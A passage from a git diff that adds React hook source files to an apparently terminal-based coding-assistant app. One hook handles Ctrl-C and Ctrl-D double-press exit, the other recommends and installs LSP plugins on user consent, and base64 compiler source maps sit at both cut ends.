nJvcixcbiAgICBzaG93SmV0QnJhaW5zSW5mbyxcbiAgXSlcblxuICAvLyBTaG93IEpldEJyYWlucyBwbHVnaW4gbm90IGNvbm5lY3RlZCBoaW50XG4gIHVzZUVmZmVjdCgoKSA9PiB7XG4gICAgaWYgKGdldElzUmVtb3RlTW9kZSgpKSByZXR1cm5cbiAgICBpZiAoIXNob3dKZXRCcmFpbnNJbmZvKSB7XG4gICAgICByZW1vdmVOb3RpZmljYXRpb24oJ2lkZS1zdGF0dXMtamV0YnJhaW5zLWRpc2Nvbm5lY3RlZCcpXG4gICAgICByZXR1cm5cbiAgICB9XG4gICAgYWRkTm90aWZpY2F0aW9uKHtcbiAgICAgIGtleTogJ2lkZS1zdGF0dXMtamV0YnJhaW5zLWRpc2Nvbm5lY3RlZCcsXG4gICAgICB0ZXh0OiAnSURFIHBsdWdpbiBub3QgY29ubmVjdGVkIMK3IC9zdGF0dXMgZm9yIGluZm8nLFxuICAgICAgcHJpb3JpdHk6ICdtZWRpdW0nLFxuICAgIH0pXG4gIH0sIFthZGROb3RpZmljYXRpb24sIHJlbW92ZU5vdGlmaWNhdGlvbiwgc2hvd0pldEJyYWluc0luZm9dKVxuXG4gIC8vIFNob3cgSURFIGluc3RhbGwgZXJyb3JcbiAgdXNlRWZmZWN0KCgpID0+IHtcbiAgICBpZiAoZ2V0SXNSZW1vdGVNb2RlKCkpIHJldHVyblxuICAgIGlmICghc2hvd0lERUluc3RhbGxFcnJvcikge1xuICAgICAgcmVtb3ZlTm90aWZpY2F0aW9uKCdpZGUtc3RhdHVzLWluc3RhbGwtZXJyb3InKVxuICAgICAgcmV0dXJuXG4gICAgfVxuICAgIGFkZE5vdGlmaWNhdGlvbih7XG4gICAgICBrZXk6ICdpZGUtc3RhdHVzLWluc3RhbGwtZXJyb3InLFxuICAgICAgdGV4dDogJ0lERSBleHRlbnNpb24gaW5zdGFsbCBmYWlsZWQgKHNlZSAvc3RhdHVzIGZvciBpbmZvKScsXG4gICAgICBjb2xvcjogJ2Vycm9yJyxcbiAgICAgIHByaW9yaXR5OiAnbWVkaXVtJyxcbiAgICB9KVxuICB9LCBbYWRkTm90aWZpY2F0aW9uLCByZW1vd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
\ No newline at end of file
diff --git a/cc-haha/src/hooks/useExitOnCtrlCD.ts b/cc-haha/src/hooks/useExitOnCtrlCD.ts
new file mode 100644
index 0000000..23ba7ad
--- /dev/null
+++ b/cc-haha/src/hooks/useExitOnCtrlCD.ts
@@ -0,0 +1,95 @@
+import { useCallback, useMemo, useState } from 'react'
+import useApp from '../ink/hooks/use-app.js'
+import type { KeybindingContextName } from '../keybindings/types.js'
+import { useDoublePress } from './useDoublePress.js'
+
+export type ExitState = {
+  pending: boolean
+  keyName: 'Ctrl-C' | 'Ctrl-D' | null
+}
+
+type KeybindingOptions = {
+  context?: KeybindingContextName
+  isActive?: boolean
+}
+
+type UseKeybindingsHook = (
+  handlers: Record<string, () => void>,
+  options?: KeybindingOptions,
+) => void
+
+/**
+ * Handle ctrl+c and ctrl+d for exiting the application.
+ *
+ * Uses a time-based double-press mechanism:
+ * - First press: Shows "Press X again to exit" message
+ * - Second press within timeout: Exits the application
+ *
+ * Note: We use time-based double-press rather than the chord system because
+ * we want the first ctrl+c to also trigger interrupt (handled elsewhere).
+ * The chord system would prevent the first press from firing any action.
+ *
+ * These keys are hardcoded and cannot be rebound via keybindings.json.
+ *
+ * @param useKeybindingsHook - The useKeybindings hook to use for registering handlers
+ *                            (dependency injection to avoid import cycles)
+ * @param onInterrupt - Optional callback for features to handle interrupt (ctrl+c).
+ *                      Return true if handled, false to fall through to double-press exit.
+ * @param onExit - Optional custom exit handler
+ * @param isActive - Whether the keybinding is active (default true). Set false
+ *                   while an embedded TextInput is focused — TextInput's own
+ *                   ctrl+c/d handlers will manage cancel/exit, and Dialog's
+ *                   handler would otherwise double-fire (child useInput runs
+ *                   before parent useKeybindings, so both see every keypress).
+ */
+export function useExitOnCtrlCD(
+  useKeybindingsHook: UseKeybindingsHook,
+  onInterrupt?: () => boolean,
+  onExit?: () => void,
+  isActive = true,
+): ExitState {
+  const { exit } = useApp()
+  const [exitState, setExitState] = useState<ExitState>({
+    pending: false,
+    keyName: null,
+  })
+
+  const exitFn = useMemo(() => onExit ?? exit, [onExit, exit])
+
+  // Double-press handler for ctrl+c
+  const handleCtrlCDoublePress = useDoublePress(
+    pending => setExitState({ pending, keyName: 'Ctrl-C' }),
+    exitFn,
+  )
+
+  // Double-press handler for ctrl+d
+  const handleCtrlDDoublePress = useDoublePress(
+    pending => setExitState({ pending, keyName: 'Ctrl-D' }),
+    exitFn,
+  )
+
+  // Handler for app:interrupt (ctrl+c by default)
+  // Let features handle interrupt first via callback
+  const handleInterrupt = useCallback(() => {
+    if (onInterrupt?.()) return // Feature handled it
+    handleCtrlCDoublePress()
+  }, [handleCtrlCDoublePress, onInterrupt])
+
+  // Handler for app:exit (ctrl+d by default)
+  // This also uses double-press to confirm exit
+  const handleExit = useCallback(() => {
+    handleCtrlDDoublePress()
+  }, [handleCtrlDDoublePress])
+
+  const handlers = useMemo(
+    () => ({
+      'app:interrupt': handleInterrupt,
+      'app:exit': handleExit,
+    }),
+    [handleInterrupt, handleExit],
+  )
+
+  useKeybindingsHook(handlers, { context: 'Global', isActive })
+
+  return exitState
+}
diff --git a/cc-haha/src/hooks/useLspPluginRecommendation.tsx b/cc-haha/src/hooks/useLspPluginRecommendation.tsx
new file mode 100644
index 0000000..7253b3d
--- /dev/null
+++ b/cc-haha/src/hooks/useLspPluginRecommendation.tsx
@@ -0,0 +1,194 @@
+import { c as _c } from "react/compiler-runtime";
+/**
+ * Hook for LSP plugin recommendations
+ *
+ * Detects file edits and recommends LSP plugins when:
+ * - File extension matches an LSP plugin
+ * - LSP binary is already installed on the system
+ * - Plugin is not already installed
+ * - User hasn't disabled recommendations
+ *
+ * Only shows one recommendation per session.
+ */
+
+import { extname, join } from 'path';
+import * as React from 'react';
+import { hasShownLspRecommendationThisSession, setLspRecommendationShownThisSession } from '../bootstrap/state.js';
+import { useNotifications } from '../context/notifications.js';
+import { useAppState } from '../state/AppState.js';
+import { saveGlobalConfig } from '../utils/config.js';
+import { logForDebugging } from '../utils/debug.js';
+import { logError } from '../utils/log.js';
+import { addToNeverSuggest, getMatchingLspPlugins, incrementIgnoredCount } from '../utils/plugins/lspRecommendation.js';
+import { cacheAndRegisterPlugin } from '../utils/plugins/pluginInstallationHelpers.js';
+import { getSettingsForSource, updateSettingsForSource } from '../utils/settings/settings.js';
+import { installPluginAndNotify, usePluginRecommendationBase } from './usePluginRecommendationBase.js';
+
+// Threshold for detecting timeout vs explicit dismiss (ms)
+// Menu auto-dismisses at 30s, so anything over 28s is likely timeout
+const TIMEOUT_THRESHOLD_MS = 28_000;
+export type LspRecommendationState = {
+  pluginId: string;
+  pluginName: string;
+  pluginDescription?: string;
+  fileExtension: string;
+  shownAt: number; // Timestamp for timeout detection
+} | null;
+type UseLspPluginRecommendationResult = {
+  recommendation: LspRecommendationState;
+  handleResponse: (response: 'yes' | 'no' | 'never' | 'disable') => void;
+};
+export function useLspPluginRecommendation() {
+  const $ = _c(12);
+  const trackedFiles = useAppState(_temp);
+  const {
+    addNotification
+  } = useNotifications();
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = new Set();
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const checkedFilesRef = React.useRef(t0);
+  const {
+    recommendation,
+    clearRecommendation,
+    tryResolve
+  } = usePluginRecommendationBase();
+  let t1;
+  let t2;
+  if ($[1] !== trackedFiles || $[2] !== tryResolve) {
+    t1 = () => {
+      tryResolve(async () => {
+        if (hasShownLspRecommendationThisSession()) {
+          return null;
+        }
+        const newFiles = [];
+        for (const file of trackedFiles) {
+          if (!checkedFilesRef.current.has(file)) {
+            checkedFilesRef.current.add(file);
+            newFiles.push(file);
+          }
+        }
+        for (const filePath of newFiles) {
+          ;
+          try {
+            const matches = await getMatchingLspPlugins(filePath);
+            const match = matches[0];
+            if (match) {
+              logForDebugging(`[useLspPluginRecommendation] Found match: ${match.pluginName} for ${filePath}`);
+              setLspRecommendationShownThisSession(true);
+              return {
+                pluginId: match.pluginId,
+                pluginName: match.pluginName,
+                pluginDescription: match.description,
+                fileExtension: extname(filePath),
+                shownAt: Date.now()
+              };
+            }
+          } catch (t3) {
+            const error = t3;
+            logError(error);
+          }
+        }
+        return null;
+      });
+    };
+    t2 = [trackedFiles, tryResolve];
+    $[1] = trackedFiles;
+    $[2] = tryResolve;
+    $[3] = t1;
+    $[4] = t2;
+  } else {
+    t1 = $[3];
+    t2 = $[4];
+  }
+  React.useEffect(t1, t2);
+  let t3;
+  if ($[5] !== addNotification || $[6] !== clearRecommendation || $[7] !== recommendation) {
+    t3 = response => {
+      if (!recommendation) {
+        return;
+      }
+      const {
+        pluginId,
+        pluginName,
+        shownAt
+      } = recommendation;
+      logForDebugging(`[useLspPluginRecommendation] User response: ${response} for ${pluginName}`);
+      bb60: switch (response) {
+        case "yes":
+          {
+            installPluginAndNotify(pluginId, pluginName, "lsp-plugin", addNotification, async pluginData => {
+              logForDebugging(`[useLspPluginRecommendation] Installing plugin: ${pluginId}`);
+              const localSourcePath = typeof pluginData.entry.source === "string" ? join(pluginData.marketplaceInstallLocation, pluginData.entry.source) : undefined;
+              await cacheAndRegisterPlugin(pluginId, pluginData.entry, "user", undefined, localSourcePath);
+              const settings = getSettingsForSource("userSettings");
+              updateSettingsForSource("userSettings", {
+                enabledPlugins: {
+                  ...settings?.enabledPlugins,
+                  [pluginId]: true
+                }
+              });
+              logForDebugging(`[useLspPluginRecommendation] Plugin installed: ${pluginId}`);
+            });
+            break bb60;
+          }
+        case "no":
+          {
+            const elapsed = Date.now() - shownAt;
+            if (elapsed >= TIMEOUT_THRESHOLD_MS) {
+              logForDebugging(`[useLspPluginRecommendation] Timeout detected (${elapsed}ms), incrementing ignored count`);
+              incrementIgnoredCount();
+            }
+            break bb60;
+          }
+        case "never":
+          {
+            addToNeverSuggest(pluginId);
+            break bb60;
+          }
+        case "disable":
+          {
+            saveGlobalConfig(_temp2);
+          }
+      }
+      clearRecommendation();
+    };
+    $[5] = addNotification;
+    $[6] = clearRecommendation;
+    $[7] = recommendation;
+    $[8] = t3;
+  } else {
+    t3 = $[8];
+  }
+  const handleResponse = t3;
+  let t4;
+  if ($[9] !== handleResponse || $[10] !== recommendation) {
+    t4 = {
+      recommendation,
+      handleResponse
+    };
+    $[9] = handleResponse;
+    $[10] = recommendation;
+    $[11] = t4;
+  } else {
+    t4 = $[11];
+  }
+  return t4;
+}
+function _temp2(current) {
+  if (current.lspRecommendationDisabled) {
+    return current;
+  }
+  return {
+    ...current,
+    lspRecommendationDisabled: true
+  };
+}
+function _temp(s) {
+  return s.fileHistory.trackedFiles;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJleHRuYW1lIiwiam9pbiIsIlJlYWN0IiwiaGFzU2hvd25Mc3BSZWNvbW1lbmRhdGlvblRoaXNTZXNzaW9uIiwic2V0THNwUmVjb21tZW5kYXRpb25TaG93blRoaXNTZXNzaW9uIiwidXNlTm90aWZpY2F0aW9ucyIsInVzZUFwcFN0YXRlIiwic2F2ZUdsb2JhbENvbmZpZyIsImxvZ0ZvckRlYnVnZ2luZyIsImxvZ0Vycm9yIiwiYWRkVG9OZXZlclN1Z2dlc3QiLCJnZXRNYXRjaGluZ0xzcFBsdWdpbnMiLCJpbmNyZW1lbnRJZ25vcmVkQ291bnQiLCJjYWNoZUFuZFJlZ2lzdGVyUGx1Z2luIiwiZ2V0U2V0dGluZ3NGb3JTb3VyY2UiLCJ1cGRhdGVTZXR0aW5nc0ZvclNvdXJjZSIsImluc3RhbGxQbHVnaW5BbmROb3RpZnkiLCJ1c2VQbHVnaW5SZWNvbW1lbmRhdGlvbkJhc2UiLCJUSU1FT1VUX1RIUkVTSE9MRF9NUyIsIkxzcFJlY29tbWVuZGF0aW9uU3RhdGUiLCJwbHVnaW5JZCIsInBsdWdpbk5hbWUiLCJwbHVnaW5EZXNjcmlwdGlvbiIsImZpbGVFeHRlbnNpb24iLCJzaG93bkF0IiwiVXNlTHNwUGx1Z2luUmVjb21tZW5kYXRpb25SZXN1bHQiLCJyZWNvbW1lbmRhdGlvbiIsImhhbmRsZVJlc3BvbnNlIiwicmVzcG9uc2UiLCJ1c2VMc3BQbHVnaW5SZWNvbW1lbmRhdGlvbiIsIiQiLCJfYyIsInRyYWNrZWRGaWxlcyIsIl90ZW1wIiwiYWRkTm90aWZpY2F0aW9uIiwidDAiLCJTeW1ib2wiLCJmb3IiLCJTZXQiLCJjaGVja2VkRmlsZXNSZWYiLCJ1c2VSZWYiLCJjbGVhclJlY29tbWVuZGF0aW9uIiwidHJ5UmVzb2x2ZSIsInQxIiwidDIiLCJuZXdGaWxlcyIsImZpbGUiLCJjdXJyZW50IiwiaGFzIiwiYWRkIiwicHVzaCIsImZpbGVQYXRoIiwibWF0Y2hlcyIsIm1hdGNoIiwiZGVzY3JpcHRpb24iLCJEYXRlIiwibm93IiwidDMiLCJlcnJvciIsInVzZUVmZmVjdCIsImJiNjAiLCJwbHVnaW5EYXRhIiwibG9jYWxTb3VyY2VQYXRoIiwiZW50cnkiLCJzb3VyY2UiLCJtYXJrZXRwbGFjZUluc3RhbGxMb2NhdGlvbiIsInVuZGVmaW5lZCIsInNldHRpbmdzIiwiZW5hYmxlZFBsdWdpbnMiLCJlbGFwc2VkIiwiX3RlbXAyIiwidDQiLCJsc3BSZWNvbW1lbmRhdGlvbkRpc2FibGVkIiwicyIsImZpbGVIaXN0b3J5Il0sInNvdXJjZXMiOlsidXNlTHNwUGx1Z2luUmVjb21tZW5kYXRpb24udHN4Il0sInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogSG9vayBmb3IgTFNQIHBsdWdpbiByZWNvbW1lbmRhdGlvbnNcbiAqXG4gKiBEZXRlY3RzIGZpbGUgZWRpdHMgYW5kIHJlY29tbWVuZHMgTFNQIHBsdWdpbnMgd2hlbjpcbiAqIC0gRmlsZSBleHRlbnNpb24gbWF0Y2hlcyBhbiBMU1AgcGx1Z2luXG4gKiAtIExTUCBiaW5hcnkgaXMgYWxyZWFkeSBpbnN0YWxsZWQgb24gdGhlIHN5c3RlbVxuICogLSBQbHVnaW4gaXMgbm90IGFscmVhZHkgaW5zdGFsbGVkXG4gKiAtIFVzZXIgaGFzbid0IGRpc2FibGVkIHJlY29tbWVuZGF0aW9uc1xuICpcbiAqIE9ubHkgc2hvd3Mgb25lIHJlY29tbWVuZGF0aW9uIHBlciBzZXNzaW9uLlxuICovXG5cbmltcG9ydCB7IGV4dG5hbWUsIGpvaW4gfSBmcm9tICdwYXRoJ1xuaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQge1xuICBoYXNTaG93bkxzcFJlY29tbWVuZGF0aW9uVGhpc1Nlc3Npb24sXG4gIHNldExzcFJlY29tbWVuZGF0aW9uU2hvd25UaGlzU2Vzc2lvbixcbn0gZnJvbSAnLi4vYm9vdHN0cmFwL3N0YXRlLmpzJ1xuaW1wb3J0IHsgdXNlTm90aWZpY2F0aW9ucyB9IGZyb20gJy4uL2NvbnRleHQvbm90aWZpY2F0aW9ucy5qcydcbmltcG9ydCB7IHVzZUFwcFN0YXRlIH0gZnJvbSAnLi4vc3RhdGUvQXBwU3RhdGUuanMnXG5pbXBvcnQgeyBzYXZlR2xvYmFsQ29uZmlnIH0gZnJvbSAnLi4vdXRpbHMvY29uZmlnLmpzJ1xuaW1wb3J0IHsgbG9nRm9yRGVidWdnaW5nIH0gZnJvbSAnLi4vdXRpbHMvZGVidWcuanMnXG5pbXBvcnQgeyBsb2dFcnJvciB9IGZyb20gJy4uL3V0aWxzL2xvZy5qcydcbmltcG9ydCB7XG4gIGFkZFRvTmV2ZXJTdWdnZXN0LFxuICBnZXRNYXRjaGluZ0xzcFBsdWdpbnMsXG4gIGluY3JlbWVudElnbm9yZWRDb3VudCxcbn0gZnJvbSAnLi4vdXRpbHMvcGx1Z2lucy9sc3BSZWNvbW1lbmRhdGlvbi5qcydcbmltcG9ydCB7IGNhY2hlQW5kUmVnaXN0ZXJQbHVnaW4gfSBmcm9tICcuLi91dGlscy9wbHVnaW5zL3BsdWdpbkluc3RhbGxhdGlvbkhlbHBlcnMuanMnXG5pbXBvcnQge1xuICBnZXRTZXR0aW5nc0ZvclNvdXJjZSxcbiAgdXBkYXRlU2V0dGluZ3NGb3JTb3VyY2UsXG59IGZyb